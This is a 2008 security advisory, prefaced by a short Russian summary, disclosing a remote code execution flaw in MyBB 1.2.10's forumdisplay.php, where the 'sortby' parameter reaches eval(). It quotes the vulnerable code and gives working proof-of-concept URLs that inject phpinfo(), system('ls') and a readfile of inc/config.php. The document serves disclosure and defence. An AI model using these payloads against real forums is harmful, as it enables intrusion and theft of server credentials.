Программа: MyBulletinBoard (MyBB) 1.2.10  Уязвимость позволяет удаленному пользователю выполнить произвольные команды на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных сценарием forumdisplay.php. Удаленный пользователь может выполнить произвольные команды на целевой системе. 
 [waraxe-2008-SA#061] - Remote Code Execution in MyBB 1.2.10 
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 Author: Janek Vind "waraxe" 
 Independent discovery: koziolek 
 Date: 16. January 2008 
 Location: Estonia, Tartu 
 Web: http://www.waraxe.us/advisory-61.html 
 Target software description: 
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 MyBB is a discussion board that has been around for a while; it has evolved 
 from other bulletin boards into the forum package it is today. Therefore, 
 it is a professional and efficient discussion board, developed by an active 
 team of developers. 
 Vulnerabilities discovered 
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 1. Remote Code Execution in "forumdisplay.php": 
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 Precondition: valid forum "fid" must be known. 
 Attacker doesn't need to have any privileges in mybb installation to be 
 successful in attack. 
 Proof-Of-Concept request: 
 http://localhost/mybb.1.2.10/forumdisplay.php?fid=2&sortby=' 
 ... and we will see error message: 
 Parse error: syntax error, unexpected ''', expecting ']' in 
 C:\apache_wwwroot\mybb.1.2.10\forumdisplay.php(407) : eval()'d code on line 1 
 Problematic piece of code is related to "eval()" function: 
 eval("\$orderarrow['$sortby'] = \"". 
 $templates->get("forumdisplay_orderarrow")."\";"); 
 Example attacks: 
 http://localhost/mybb.1.2.10/forumdisplay.php?fid=2 
 &sortby='];phpinfo();exit;// 
 http://localhost/mybb.1.2.10/forumdisplay.php?fid=2 
 &sortby='];system('ls');exit;// 
 http://localhost/mybb.1.2.10/forumdisplay.php?fid=2 
 &sortby='];readfile('inc/config.php');exit;//